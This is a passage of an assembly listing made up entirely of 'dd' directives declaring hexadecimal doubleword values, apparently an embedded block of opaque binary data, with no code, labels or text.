895F8176h, 0FC4E4295h, 8EB7B8D7h, 0D4ED9D14h dd 9969E0EFh, 486E68B4h, 7AC0AD18h, 81C01BF0h, 926843Bh dd 0A0DCB17h, 3D89195Eh, 8E165D1Dh, 188B59Dh, 0DCB932C7h dd 189E2B0Fh, 0A2D44680h, 0CB05D3F0h, 398B3AB9h, 0F40045F2h dd 308F3DE6h, 710B688Dh, 26BB725h, 41241ACh, 4A19B85Bh dd 0BABCE1A9h, 0E09D087Eh, 5ABD96BAh, 5EF2E2FCh, 48642D91h dd 51FEC82Ah, 9A87AC00h, 935FFB74h, 4F1C0050h, 4A947720h dd 4C257DE2h, 61E3768Bh, 20C02B5Fh, 314B1D05h, 9AB35EEh dd 1973DA48h, 0DC1917F9h, 180ECBE4h, 325F5756h, 0D48099DBh dd 67384E7Ch, 0F65D822Fh, 219DC169h, 25EA060Ah, 3CC5142Dh dd 591B52Dh, 0BA4DD54Bh, 0D9B72861h, 0FD0ECF52h, 3DB59FE4h dd 0DDEA0003h, 0D52A9569h, 0E5B39601h, 0F8E7807Bh, 5B8AD920h dd 0F426A28Eh, 12A0C0B6h dd 2D029677h, 9DC549D9h, 1A71D5F1h, 1C18584h, 0DC0EC816h dd 9F966900h, 0E3F4B9FDh, 897A0E56h, 0F276DA19h, 785B2DBFh dd 2A99206Ah, 0C1493376h, 0C5612591h, 0BB87133Ah, 0C758A87Bh dd 3725AA4Ah, 382EAFC8h, 0F8045639h, 0F12C53E2h, 4ADE3A2Eh dd 84DDDC89h, 9AAEDFDBh, 0C817C8EDh, 504801DFh, 3E959D31h dd 0BFE14B40h, 4B92329Ah, 1C7A8A03h, 0FF270450h, 0D202E337h dd 5C4E2BB4h, 43F5071h, 40894FB5h, 7A1C2D6Bh, 1A5AF748h dd 1254AE42h, 8905DD2h, 0FB00BF09h, 5679D7F8h, 0E996040h dd 0E595922Dh, 82DBB92h, 0BB8A4BE3h, 540B066Eh, 0C5FC4C6Eh dd 60BDC404h, 5F156EEFh, 0B14152EEh, 23ED7FDFh, 0A121A697h dd 98822042h, 0F80A9BF3h, 0D2C57377h, 9F707857h, 7B567162h dd 0A05AFF91h, 6E95204Fh, 20574AA8h, 0D0B44160h, 0E1D36600h dd 2EE53CF2h, 0CFE3023Bh, 5B6B7C9Fh, 8160515Ch, 2F3BFED3h dd 0EA583F88h, 9C5E925h, 0C40F4DAAh, 0DCA3BAFEh, 0FCCB8701h dd 6EFA8A4Ch, 0C1A94C2h, 0CE00BF5Eh, 68577124h, 7A0A4246h dd 26A60950h, 52702C55h, 1541B91Fh, 5014F62Fh, 7EB7481Ah dd 0ADFDC474h, 0A844A79h, 0F79FA6FBh, 509BFCCBh, 98BD8A0Fh dd 2DEC5477h, 98DBD8E9h, 0EB431CD9h, 0AF13DC65h, 8480A98Ch dd 65859F88h, 0F4807E9Dh, 502B9616h, 25DF68E0h, 8FC2F98Ah dd 0E0C7A34Fh, 0B75CEBC0h, 8D294BD5h, 0CD9029Fh, 956666ABh dd 0C505F125h, 0D67CA6ABh, 0CF675B00h, 4BBC5773h, 0AC694F63h dd 0C4EFC064h, 0B28A1Fh, 7E78CE0Fh, 0CF8663F2h, 11E5BBA0h dd 5CD20982h, 4907DED1h, 5B5DFFF3h, 0D2A936D3h, 9ECE4CA0h dd 0E5461F14h, 5F0CE1B7h, 4D85844Eh, 96005671h, 54DE60BFh dd 68EF5005h, 0D7CC4AC8h, 8390B5F5h, 0C001E97h, 53AADAC4h dd 0E18F54h, 0BD4E68D6h, 0F5BF808Ch, 7799D12h, 0B10600BCh dd 727F9246h, 742F2925h, 0A0D6E92Fh, 0CD945220h, 0CCEDD49h dd 36A5EC00h, 1B69EBA8h, 0BA5F4A5Bh, 0BF6097C9h, 489073D8h dd 8C07FBF7h, 990C07D0h, 0CEB31C0Ah, 0B7CB32Bh, 1C46D6h dd 6A19F9E1h, 17A0B5B8h, 9B6126EFh, 0C746C124h, 0ED0196Dh dd 0B5890B8Bh, 9EF71E01h, 0DEEACBE5h, 0B51A982h, 97741CDDh dd 12ADA872h, 2FD661EFh, 0B72227E9h, 4E0EBCD7h, 6FABBCC4h dd 0F983B0BCh, 4205A5Bh, 925A22F9h, 4CDD6131h, 0D9B512FEh dd 8BC4E313h, 19DBF24h, 86A82B8Eh, 0FE7A94F6h, 3F4B1F3h dd 0C01C880Fh, 624C432Ch, 39ECD07Fh, 98FC742Fh, 95C0B7B0h dd 35451D1h, 0FF21241h, 0F7E9320Eh, 0A982C6B8h, 85C90C2h dd 5A6A0966h, 0E270EB2Dh, 3839EBBFh, 8DCA6096h, 803C2848h dd 5E1FB864h, 9AEB07A3h, 73F35210h, 0E8D42E2Fh, 0FD33A3Eh dd 0CE575650h, 965B255Fh, 0FFE0E0E6h, 0B02AA22h, 0BF621578h dd 7847D9Ah, 0F5CAEB2Ah, 22DF8104h, 0ACA3B9CFh, 3D128C16h dd 0BE09F813h, 67F25755h, 7AAA614Bh, 6C280759h, 7779045h dd 8966D680h, 4D7BB853h, 5B273F6Dh, 279A35F7h, 0E30371ECh dd 0B9BD2B52h, 0BC554E32h, 0DBAFF4E7h, 702A8086h, 2CF7A1B9h dd 11C3222Ch, 5F511771h, 0C5001EA2h, 0A726D5FAh, 877CF178h dd 56AB0997h, 0E200DC2Ch, 8660A79Eh, 97DFF07Eh, 4677A709h dd 52954EB3h, 0D36BAF79h, 76051D23h, 64FF5678h, 0D688AC9Eh dd 0B7E8EF84h, 6AB76A27h, 0CF7F2C84h, 0C7AF0CBBh, 6178DF06h dd 0D6DA811Fh, 744A309h, 3BE4E76Bh, 0B2BF64ABh, 29DF00ACh dd 0CE34986Fh, 347F5FD7h, 9884EF4Dh, 1081F852h, 172EE133h dd 0E317B6A9h, 0D3920A2Dh, 444826B6h, 0D59AEEFCh, 4DC414C8h dd 504437FBh, 0A6C4C0CFh, 0C48A7F4Bh, 0BB244E35h, 71BC6Fh dd 21523E80h, 3197AE08h, 5B11BD38h, 4B5B6AFAh, 4407398h dd 91D65B17h, 1BF165D8h, 0B201F67Eh, 0FA309018h, 174C12A6h dd 2FFDE187h, 80C27CBDh, 0CB5CE1EFh, 71F16Bh, 2D03C2F4h dd 4E166724h, 5EBD890Fh, 911F51A2h, 2397801Bh, 7F87A43Ch dd 0B0825AC2h, 0D3952A3Ah, 0B662A52Ah, 5BE01ACDh, 0B5EB8EE8h dd 1A6444EFh, 0CCA76A60h, 0DA2B7002h, 5C1FE977h, 0EBBD92D0h dd 0C197D65Dh, 0F205316Fh, 0ACF4DD17h, 1F9516B0h, 954F9BBBh dd 0DF18D8CAh, 50C21603h, 5A25BD09h, 6580B2DBh, 0C1CEB652h dd 0B834B204h, 0AEC5EC4Fh, 6A92E0FFh, 2DEE7BCh, 8CB30F6Dh dd 0DA832E15h, 0C88CE8B8h, 77135D63h, 0C6EEA32Bh, 692074A1h dd 0AF6AF222h, 0B8A640E9h, 85142B41h, 0BB6080Eh, 55152865h dd 5C0096Dh, 1BFF54Bh, 71A88818h, 3B3FE780h, 0E305E6B8h dd 9284F6CCh, 51200CADh, 3F4266h, 2E0F126Ch, 48B9D9BDh dd 0ECC8604Bh, 3EAF7079h, 0E180301Bh, 5258F58h, 0B018617h dd 1E2845F4h, 0AF725EDFh, 4895B09h, 680053BDh, 221680ABh dd 0BD3CB09Bh, 11AD2402h, 9DE369CFh, 0DE0B95B0h, 3B8F1BE9h dd 0E7CADD5Ch, 0BF5307B3h, 34D0D391h, 9F8F0F5Fh, 1825845h dd 571ABD9Dh, 0EC89A039h, 57C90485h, 494979D1h, 5B59E2FDh dd 0CA2F7039h, 0F4A8D900h, 0D8603980h, 21024E6Ah, 0E00DDDCDh dd 5707FFADh, 0A8D81B68h, 11405095h, 42022054h, 0E7B02C3h dd 0D91067E6h, 9D09DCA2h, 0BADF98C2h, 9530F75Eh, 6DE0A7EBh dd 98E93312h, 6F8907F3h, 99F36809h, 27FCE678h, 0A15457D3h dd 1259FF7Ah, 0C131FC0Ah, 55B92012h, 20D0E8D2h, 0B790001Fh dd 0BF52506Bh, 411E8292h, 53E55B5Fh, 0A0FEA789h, 8E35F7A5h dd 4238199Ch, 177BCA03h, 0FBA40DACh, 5D23A409h, 7B951814h dd 45511715h, 0AEC563AEh, 28E65584h, 7B6D54E1h, 82935FFCh dd 3D7D08E5h, 0E270095h, 0A094A59Ah, 0E0B17DE4h, 0C74F9980h dd 4B529DACh, 3501D81Eh, 34600141h, 0A3A3A3B0h, 92AEB45Fh dd 0A20EFA12h, 542DA7BFh, 0FF69259Fh, 0DD3DA817h, 52651BDh dd 0AE14E58Dh, 0CD1186E3h, 0BF92DF11h, 346FFBE1h, 2D55FC51h dd 86827122h, 8CE9AFBBh, 0E980DA4Bh, 4229BD0Bh, 32245428h dd 898C08BCh, 0C2D10D0Dh, 0C1E9FB68h, 0F70923F1h, 0B5F2709Eh dd 0EB50F341h, 0A1FFBAC0h, 0F287174Bh, 0C931C390h, 1239695Eh dd 2360D6FEh, 77F0EB2h, 0DAD63271h, 9D360034h, 723CD9E4h dd 59B52F15h, 0C7F88045h, 3879B3Fh, 1B203Eh, 0AFD17C6Dh dd 2D7DA828h, 72735F61h, 80FEF0B2h, 0E9D7DFBCh, 0BB19C061h dd 29FC890h, 5F269A97h, 1AA01610h, 0CF610803h, 0B08F054Dh dd 128859DCh, 0F140CD09h, 9EA92A34h, 12ECF98Ah, 4038F6F8h dd 204125C6h, 9624F104h, 6280A6ACh, 979B6F22h, 0AFCA1D02h dd 80D3344Bh, 5B8775D9h, 0E3955A31h, 9DDF849Fh, 7855CF11h dd 26F930A4h, 8D5EAD01h, 673397D6h, 58CEAF98h, 0B6773209h dd 0CA90FD09h, 98AA84B9h, 0F277A9C2h, 0FCE12DBDh, 0B8002071h dd 783D39D7h, 0EA710047h, 2D86E19Fh, 0A53DF809h, 1DACDFCAh dd 0FBFC5BC5h, 0A3D24F9Bh, 8D0104DAh, 61BA1DFDh, 0C46A636Bh dd 0E302BAABh, 0F6BECF7Ch, 0D4865669h, 0BC001B46h, 5FE6362Bh dd 0BB2775D4h, 0FCD790F5h, 7A6138EDh, 0D4B4A580h, 0F7A88248h dd 250BDD4Dh, 0DF39EA5Fh, 0D6E94DCDh, 2952409Ah, 125ECDB5h dd 0E2954BD3h, 7D365718h, 1CB4E3A0h, 4D094F2Dh, 9BDC5A5h dd 0A240A1E0h, 67AF880Dh, 1A263E40h, 82195E1Eh, 0FB7C0AE7h dd 0EFA0C649h, 1189F141h, 4DC9D6Bh, 84E2BEABh, 0C819DB0h dd 4AE38080h, 813BDB5Ch, 8D755E19h, 282BAC31h, 2A8B1FE8h dd 99235CEh, 31CD8D29h dd 0F6EEECDDh, 9CD1B57Dh, 5CE1FF42h, 4735080h, 0A23D9Fh dd 5E50E546h, 8B4B766Eh, 5F2D838Ah, 50D8A373h, 0B1AFA1F4h dd 623307C2h, 9C55124Dh, 7EF345F5h, 0BF603A8Ch, 9403E637h dd 98F215C8h, 98FC57B3h, 0DF8726FCh, 0E6AD1250h, 9C71B457h dd 6A703E59h, 0AB72259Fh, 0F07456C2h, 0A57D804Fh, 2FF8C3Dh dd 0BEC5603Ch, 455C6AACh, 5E01598Bh, 6907F493h, 858B67EAh dd 9D098B18h, 0FD12A9D5h, 6C49096Dh, 89D50C64h, 905DB1B5h dd 0F7FD524Fh, 68EEBF03h, 0FDDD26CBh, 0B59DB8D5h, 1C0F3F46h dd 41EE825Eh, 28F0F47h, 2AFE8A11h, 20BF2C13h, 2882C81h dd 92A19A01h, 6EA97D41h, 0B8008268h, 0B7685B65h, 764B8F9Dh dd 78B6E2h, 9ED98809h, 0E2D7FB2Ch, 0A3E668EEh, 44890F1Eh dd 90E0E552h, 909E1348h, 0B88FE976h, 80414F72h, 70EF8013h dd 591A7395h, 3F8181Bh, 30F4982Fh, 0D1FDC078h, 21AF55B3h dd 24287E61h, 23E80096h, 1A6BD9DFh, 0F4B57BE1h, 0CBE9070Dh dd 0A17C0B01h, 7E7417DEh, 4052EED6h, 0AC5F9FB3h, 3BA655DAh dd 0AAF526B9h, 0BBC98C9Ah, 2A408FF4h, 2F5F27h, 201B1019h dd 385111C3h, 3FAED8EFh, 0FC30B809h, 0A0867175h, 8C614996h dd 156D9D76h, 4C6BDBE0h, 31752CAAh, 27BD292Ah, 4E40744Fh dd 16751BA3h, 0EABD3356h, 4689A321h, 0B87DED7Eh, 806F4AB6h dd 75B96617h, 7D20E64Fh, 3FD4895h, 0F35030FCh, 69E839D4h dd 60B55E26h, 4F800FF0h, 5A7EB308h, 9796E4C8h, 800029B7h dd 0A2FB393Dh, 0B3C0125Dh, 0EAC9C56Fh, 41C0C0DEh, 64964CF7h dd 155C6E16h, 0F95A90E8h, 72680272h, 4118821Eh, 0ED24DE41h dd 9D1D3D8Dh, 8283DB5Bh, 0C08483CCh, 811F69D4h, 3CAC7BF5h dd 312D48DFh, 0FD169016h, 0BE32F0C1h, 387210A6h, 5009A74Bh dd 0E012CBE6h, 0E2BE640Ch, 4A92024Bh, 0F750A0B0h, 7B696B6Fh dd 4F562FC1h, 6C18E9C0h, 0BCDF4E8Bh, 1239B604h, 9E48E9FCh dd 0E04BC584h, 2FC4F4EEh, 28B0F18h, 2D54B323h, 9DF584B7h dd 0D8817180h, 14971710h, 0B454474h, 2FF955FAh, 4B324A38h dd 80579E04h, 8CE879E1h, 3D850038h, 9D0373ACh, 45B512F1h dd 1218954h, 24C765FDh, 0E412D627h, 0B7B3F55Dh, 0D2B3AC5Ah dd 0A24F55B3h, 0EB1807A6h, 0B9106939h, 19B2838h, 7EA68CCEh dd 0E8BCB610h, 9639CB55h, 0BB04F50h, 8AB54B9Dh, 60B64E21h dd 323D597Ch, 0A47FEB4Bh, 1CEB04Ah, 0A81254B5h, 0A0925D1h dd 0B579E5Eh, 4B90FE5Eh, 0D3BDDCC6h, 0DFB95ADEh, 71A96B09h dd 59B4158Ch, 9EBC1F4Ah, 0A05BA6B4h, 4B99957Eh, 0C8AA3548h dd 5B000A65h, 0B9B18D1Bh, 275F730h, 80EDC8FCh, 265C63E3h dd 0D0AB0916h, 12C3814Bh, 6F366512h, 0BA360FE1h, 0E64A60F0h dd 0F6A8BB01h, 15C99D29h, 802A702Eh, 87A3C1E7h, 0E57534DAh dd 0FAB5A7DCh, 6079CC2Fh, 0CB814621h, 1827B835h, 0E2DF5E5Dh dd 941C2F71h, 0F116D496h, 1E02967Ch, 57501640h, 0E449B9DEh dd 0EE960011h, 31D4AB2Ch, 0C012E191h, 488DB17h, 6E779Bh dd 0B860D992h, 77D699EBh, 5B6FFA0Bh, 0CB53ED96h, 0F76C92FFh dd 0B051A265h, 14F478F9h, 4ECC7A97h, 8D2DD846h, 0F52F352Dh dd 9D8597B8h, 60C92043h, 0F6A876h, 0BA98D58Ch, 0AC336552h dd 0A70B8926h, 161C4508h, 0D0FDC896h, 60A2E400h, 507AAA2Bh dd 96D9268Bh, 79E4DE47h, 0BD892904h, 0E2EE20CDh, 0EFACCFh dd 3A72DC8Bh, 47E82A96h, 6B5FE155h, 6881D2FCh, 2BF98501h dd 19885A9Eh, 0D21D2FC0h, 3863274Ch, 89D63FF7h, 9E718E32h dd 251C04A6h, 0C46971E5h, 50574B5Dh, 0E75F4ACAh, 0B57B5645h dd 0D133E0EFh, 2707E948h, 0E8B5F505h, 0B6601A13h, 9030ABFh dd 0BA95F9B5h, 0B1638FEh, 1685DABAh, 61FB1AA9h, 9F58DC6Fh dd 32808980h, 0CCEAAC3Eh, 0CEA40525h, 0AEF35CE9h, 6E01047Ah dd 37963193h, 0E17E89D5h, 0AEB6710Dh, 0E970D4A0h, 4A939548h dd 0F83AB0CDh, 33039625h, 270231BDh, 417B901Ah, 94F0043Ch dd 20EA5065h, 53D8FC7Ah, 0DC2A4200h, 3119FEE3h, 0F4C49F90h dd 9D40D43Dh, 0C900B5D8h, 0E4D3BBBFh, 3D820287h, 6A6D3AB3h dd 807FB757h, 6D37BE1Eh, 2D2F0A89h, 0C76290C5h, 796100CAh dd 50A3BD68h, 0D7F0808Ch, 2C26381Eh, 626E714Ah, 8F293F85h dd 0C54F42FEh, 0B05C0ECCh, 59257524h, 382688D2h, 0D725972Ch dd 8FB6BA66h, 4D47CDCh, 6667A4DBh, 87E4EE11h, 0F7D1978Dh dd 0FCA04EBDh, 0E0110BBEh, 0E4379061h, 0AAB1AC80h, 13EF9A78h dd 0BD6AE3B7h, 98BC3Bh, 774DE174h, 67735F9Bh, 6FEF175Fh dd 0B1B8024Ah, 0C02B097Eh, 0B520F139h, 6DA53EC5h, 84DE47BDh dd 0E971AE60h, 6309143Dh, 83D001AEh, 94B31768h, 1296F4F8h dd 0E282B07Ch, 0A0A29EA1h, 9D1BCDCAh, 73A5F579h, 96BB508Bh dd 1A5C903h, 9AAD2065h, 0EE35153h, 1CC04150h, 8260CA0h dd 0E0713D00h, 8E568FB3h, 5CFC0E49h, 23E25B43h, 0D6CBEDBDh dd 5F78E9C4h, 6BABDFC4h, 1A23CCh, 526BD180h, 6E5BE34Ch dd 908ACF83h, 970C84E9h, 3021C116h, 7B6D2738h, 0F56DE41h dd 125472FAh, 0E35FF88Bh, 8A9024AFh, 2B138628h, 8E5335BDh dd 23B76EAEh, 62920018h, 80D49D66h, 0A27FDF28h, 0BB96FE9h dd 2AF1BD82h, 0A76B45D7h, 754020EDh, 3F197E41h, 4C4CEDB1h dd 6A6CD7C1h, 73BC3B3Dh, 0A9FF129Eh, 0AC3FB973h, 20B716E0h dd 0FE4FF3ACh, 0CC350960h, 0B0697B9Eh, 0FBB109DCh, 0A9732BFAh dd 9D822010h, 0E6750B21h, 0C6E220BFh, 71E43EC4h, 0BDCF60EFh dd 128311C5h, 0AE7AF02Ch, 0BD333370h, 4B0B5381h, 0CFA2B71Eh dd 99A07116h, 1958BBB6h, 8ABF0297h, 42BB5CFDh, 8FC26BB3h dd 89957AD0h, 40D856B1h, 872F2DA4h, 8B68E714h, 0ECE1C0B3h dd 730B099Eh, 5E947111h, 1616EBF1h, 0C3B06152h, 0B1D1ECD9h dd 0C159AD32h, 60FB8292h, 2CC5DEB4h, 7503C82Fh, 0E95F6CA2h dd 0F8AE57Eh, 7B3B708Eh, 0BF01B2B1h, 39CDAE1Ah, 55E0002Eh dd 0D7814947h, 0A3B04B08h, 72214F63h, 103F3621h, 25316FBBh dd 0D6730FB8h, 0D9950185h, 0D540F622h, 6123DB9Ch, 22B9121h dd 0D72C5EBFh, 474ED771h, 0F1088E2Dh, 5BCAA5F5h, 5FCF08D5h dd 4D09A226h, 4294711Fh, 105B33Bh, 0C96485EAh, 72C26A78h dd 0AE5B0527h, 1CC94B9Ah, 99D37E30h, 917F6E07h, 0C004CEC7h dd 2D354280h, 561D5DB9h, 58E78009h, 0B4DF9470h, 957709D0h dd 78010D37h, 0C02B2A02h, 39F0D826h, 644F8F11h, 207A09B1h dd 5CF5244Bh, 47220A0Fh, 8511E29Bh, 63DC558Ch, 1D20E7A0h dd 649A9514h, 0B4D78A8Bh, 0FDD94A23h, 0D5958204h, 69EE752Fh dd 8D088143h, 42522F41h, 0CCCA7F0Ch, 913FB555h, 2CA8914h dd 751F3D05h, 60E05BE5h, 3032DE81h, 9520C975h, 3ECB1E7Dh dd 81A55961h, 1AB22ABFh, 0F282E3Ch, 0FC68A79h, 5B012375h dd 0E23CE1B5h, 0D5D0C22Fh, 0AABF0408h, 0BC5FC02Eh, 26F9357h dd 9630EA5Bh, 5B1258BFh, 946F8A3h, 71B49FD7h, 0DF0FBD3Fh dd 1C028409h, 0B777E1FFh, 87E22DBCh, 1E2D1882h, 5A639CD5h dd 0EC79BD3Ah, 4CCB0218h, 0FF8FB20Ah, 0E4B9715Fh, 0A241B8FCh dd 0EE922E2h, 0B772D320h, 997DDEh, 73BA1B92h, 8DC33C50h dd 9DA9604Ah, 7FE955B8h, 5CF5BBC2h, 92B72542h, 82D5260Bh dd 77E1808Bh, 6F8094B7h, 0D4AD6905h, 0E2741243h, 0C652E477h dd 0FA8B29C5h, 47EF6BAAh, 2F7901CBh, 9EE84B53h, 0FF7B093Eh dd 12A55571h, 4CE5D5DFh dd 0B909D54Bh, 2F50E5F7h, 529F9446h, 15BD1052h, 0A0F14B20h dd 956ACDFCh, 0EDCAA56h, 5CCA18A7h, 689EDDC0h, 172FBF3Dh dd 0C2FBE091h, 6F072044h, 0BA1D592Fh, 3A04F7FCh, 9265E81Bh dd 232FE7A3h, 443A957h, 18E90293h, 0A901AD16h, 0B5DAD9EBh dd 8FEDF5C2h, 0E0D46CE9h, 66120BE4h, 51F084BFh, 7ABB694Ah dd 66872560h, 0F3BD80C4h, 0BF5F5F18h, 0C512B16Fh, 707F2FDh dd 6554B1EEh, 22E261B0h, 0FC812EFh, 0CF79A889h, 95F2B51h dd 855134h, 0B3ABA9E0h, 32006768h, 0FB06A53Ch, 97800F11h dd 133FCCD3h, 6BAE5F6Bh, 11B23DBh, 0EA6BC9C4h, 0FB84F491h dd 0FFBD3327h, 6229EB07h, 92D512C1h, 333E692Fh, 0C9327A69h dd 0E6F7501Fh, 98759580h, 4306987h, 0DE8BA7C7h, 0D45ECD58h dd 98001E4Bh, 0DC8E93BDh, 0B30F667h, 6143CD8Ah, 3797AFD0h dd 0B92A0B78h, 950244D5h, 0BD55ED09h, 0DE9FD1h, 4BE5033Ah dd 6131F1EAh, 24D6256h, 53846800h, 59C38F6h, 7BEE4025h dd 57E7A50h, 0EDF0B2BBh, 0BF58852Dh, 9D80799Fh, 80C638F7h dd 7A85CF2Fh, 5472BF1Eh, 60135995h, 85168CBFh, 953E468Ah dd 3600F3E4h, 62ADB7D7h, 1AEB4A7h, 79BC2D8Bh, 0DE5ED17Dh dd 4D11C45Fh, 13D6185Fh, 619AC200h, 0DC2154h, 0CC5DF68Ah dd 0C0F3FC06h, 0F56CE92Dh, 0EA57C832h, 523DD5ABh, 0EF961791h dd 88A2ED52h, 0ED16308Eh, 5B5BE81Dh, 2344C829h, 0ADE15CB7h dd 0AE266F51h, 729D57A5h, 9FADC72h, 0A7561FD1h, 0C5D2FB71h dd 71323174h, 0AAE3208h, 0B6B55DCBh, 3D82DD59h, 19D58531h dd 197932FBh, 0FEBF1A18h, 9D01820Bh, 5BD70F8Dh, 8DCE7202h dd 0B74AC709h, 0BDC55897h, 5BF4C276h, 976AEBC9h, 3B3DD95Bh dd 0C02CA0h, 188258FEh, 1D9D0BDFh, 80E01C58h, 0FBBB50FAh dd 6C152643h, 0EB8A9EA9h, 0FB9125B2h, 0D74EECA6h, 0BE6451FEh dd 0A3AB63D6h, 0D0F72520h, 0FB614FFEh, 0C70BC27Ah, 81023701h dd 7BE8F410h, 0D69F5D18h, 1CADC282h, 70EBBB14h, 0D35B5ECFh dd 0AA05B2B0h, 0F56A4A30h, 0EF8E3FBh, 0EB4A0B0Fh, 4FC26043h dd 2A796982h, 0F2E2570Bh, 9DCC674h, 19DAAD3Fh, 402DCFDDh dd 0D4B99D7Dh, 10E77F2Dh, 0D9A23h, 89BE9809h, 0D7DFC1A5h dd 8BB7164Ah, 0DBAC2959h, 0EFE00173h, 0E9938612h, 0F5127BE3h dd 5D92FE31h, 4AB7FF6Ah, 0C517AA80h, 17D1AC5Bh, 0AA8C0FFFh dd 54B5DC32h, 0B51355F1h, 0EB0BEAB8h, 18C61F54h, 71529625h dd 541A0061h, 0CFE29CF4h, 177FC405h, 0C5FF505Fh, 6AFBCDFDh dd 31805CFCh, 0F4F9BFBBh, 6286334Fh, 75FE9DB0h, 5BF00F6h dd 1C197339h, 2254EA6h, 0E39A57B0h, 39134801h, 6EDD2A81h dd 2B1F8D6Eh, 8A2F6128h, 0DE0155E4h, 0EFF48589h, 0A27E472Ah dd 0E1E74B86h, 93D8C704h, 1FA2FE5Bh, 3798C801h, 6BE81997h dd 0DF2556BDh, 9C20BF5Fh, 31258F54h, 9A0DDFE1h, 0EF0920A1h dd 218CAE4Bh, 58D1609h, 0FC38281Dh, 9EA9895h, 11BD2185h dd 23494FE4h, 97A35A77h, 94D47DD6h, 0AA42C44Ch, 90D87620h dd 0B0460473h, 0EE206D6Ch, 2E01D004h, 273BF012h, 175F6180h dd 91C6D88Bh, 3A157144h, 0BDD2BEB6h, 0F8F2A876h, 0F9B30BC6h dd 68F7B509h, 0B6F43DF4h, 9DD5BE99h, 8103396Ch, 0BAB22AF3h dd 0F00EB387h, 5576EACBh, 146E8A98h, 79CB55D2h, 4060E6FFh dd 15794555h, 5F65505Fh, 205E39E6h, 0C22B58B0h, 8CF01ACDh dd 4D387C85h, 1251C35Ah, 50B74084h, 3BD0033Ch, 45383A81h dd 3644E65Bh, 2F0AAC2Dh, 624D9E9h, 0D57682C8h, 400382E8h dd 0F84F3C6Eh, 0DE1A8DC2h, 12627DF9h, 5031B39h, 1C5B61F8h dd 8DD1030Ch, 4D091D20h, 128808EDh, 640523F5h, 6D05058Fh dd 0A2BFC483h, 8B511332h, 81105B01h, 1446B0A9h, 335909B5h dd 5702C3C0h, 0E0463105h, 30C62444h, 476BE585h, 0A712D268h dd 8304D49Ah, 0EBAD1D45h, 0F05A8A39h, 1890D09Bh, 5BC408D6h dd 0D38BD645h, 1A00FCE2h, 49DA3D93h, 4D001D40h, 0E757545Bh dd 13EB178h, 0F267091h, 215FD7BFh, 9A67D002h, 250F434Ch dd 0B28FE0E2h, 8BBEC395h, 2E00070Ch, 0F8C181F7h, 0B72E560Bh dd 201FF264h, 198B2F37h, 1590FF22h, 2701EAA9h, 0FEFA049Fh dd 320AFD2h, 97B21DD6h, 40F1415Eh, 2C5CBC61h, 5970857Ch dd 2C3800EAh, 0F943C7CCh, 18139B77h, 1C00BE0Ch, 0E9815B84h dd 0FB4B01B2h, 51D78B39h, 0E2E5FC66h, 7048F12h, 80267558h dd 836F1FDAh, 97F31E8h, 0F4F8FC08h, 5026A248h, 80881048h dd 0AA6A4AD6h, 0D4145540h, 1F7B41E8h, 68956524h, 64890079h dd 0B516ED5Bh, 7E124D3Eh, 0DCBED68Dh, 5D49E95Fh, 0BC78075Ah dd 9090EC1Ah, 1CA7F2FAh, 8AA6E544h, 0AD5CF0h, 0AF89AC87h dd 6000248Fh, 0DEA8EB7Fh, 32F0344h, 0B4FACA67h, 1EA03309h dd 5800D6F1h, 6E719062h, 3AB7ED05h, 0DA3002BEh, 6250F421h dd 0DD4E6C00h, 0B3CA2129h, 97D600E8h, 876A603h, 9107248Ah dd 4A6C876Bh, 0E62200EEh, 12EA7F4h, 665B9967h, 809DE0E7h dd 215A5810h, 1B413FF1h, 40D1AAA4h, 700336C3h, 494A3883h dd 511100EDh, 0E2B93DA0h, 22189EF3h, 5808F46Ah, 3120C038h dd 8DBB3DA8h, 3EDB423Bh, 68FB30AEh, 610C3771h, 0B7209041h dd 8008FE24h, 5280EE11h, 0BE719262h, 0E3220243h, 624AF607h dd 2A961C1Bh, 7E4F1CA9h, 42F74052h, 8B906ED0h, 74F97306h dd 0C8D00CB2h, 97C051C8h, 43E2BE3Dh, 9FA880BBh, 3BFC6F3Dh dd 0B68A81E2h, 40D805D8h, 0AB30D71Fh, 3A6BC0C0h, 0E8F64Ah dd 190EC35Dh, 4364E568h, 0AED92900h, 0AF66795Bh, 90F00044h dd 1D0C4C98h, 0FD00CB9Dh, 0B18B23BFh, 402CA6Bh, 777F6736h dd 8F04C330h, 60A8EE0h, 90004F8h, 25F4CC9h, 0E3A34D6h dd 0E5DB18BDh, 0DD38F181h, 730898C5h, 0B51F21h, 28957618h dd 0FAE17709h, 13FF848h, 5A346212h, 0A3F04982h, 0DB177A7Eh dd 2E13870h, 0F12DD070h, 0F611D760h, 3BA9FDDh, 0FE3EF08Eh dd 830F856h, 0E5972103h, 4DEF2E9Fh, 0DCAC014Eh, 8309A689h dd 0CF96E7B8h, 0DD600632h, 1926D2A9h, 0A6B8E10h, 6F5B7060h dd 10C0854Fh, 55877491h, 0F18A504Dh, 1B0D00C4h, 0DCB12499h dd 6B002D67h, 0E9D38307h, 5EB96Eh, 3AE6FAF5h, 0D486B17Dh dd 0C88C9800h, 4579210Dh, 3F320088h, 4BE3C4F9h, 6000AD6Dh dd 3CE6A7F0h, 1D7B39A1h, 0D394BAh, 240E5E43h, 0CB002BC0h dd 0BD729B6h, 3A207E3Ah, 8A006323h, 0CFD4884Bh, 0EA06E175h dd 3AE9486Eh, 218B6008h, 3CFCC1Eh, 664EBA00h, 0E35FC5FFh dd 0C4AF003Eh, 0BDCD00Ch, 6803465Ah, 0ACCB55EBh, 5E3B888Bh dd 33FE0C7Eh, 0B078D118h, 4B8E8109h, 0A8D28068h, 3F900E56h dd 0C2000CC0h, 9F755E41h, 10C5072h, 2067B8C7h, 0D340A4Bh dd 78207B1Ah, 388CC17Ah, 7B8CBDCh, 652CE78Ch, 0D5196428h dd 89988AC3h, 1D68A9FCh, 304AB2D1h, 0C149EBE8h, 4BC42401h dd 23CC8E1Ah, 213D089Bh, 17C11388h, 0DC10E107h, 2D0FBD7h dd 7F7DAA4h, 0E43E8FA6h, 0E8A04C55h, 0C0818A1Ch, 1EF0A0A8h dd 4A0A2407h, 86FB2007h, 63084F4Ch, 1C40210Bh, 0D7E239B0h dd 1FC0B814h, 0B3E31DA8h, 7C586103h, 3A60308Ah, 0D75BDE31h dd 0D689A806h, 0AE085D0h, 8C95C12Ch, 807C1140h, 7510A25h dd 10F58C18h, 0C70B1D3Fh, 0C8C4C650h, 205F2409h, 0FD264600h dd 9B690727h, 0AED542D2h, 0B45E3CC2h, 8035405Fh, 0EBFE000Ah dd 0F1460F03h, 0E039011h dd 78E68998h, 0C8501973h, 501FAAA7h, 7DCC4A8h, 0FFC89450h dd 3E77431Dh, 0E5DE841Ch, 209099B6h, 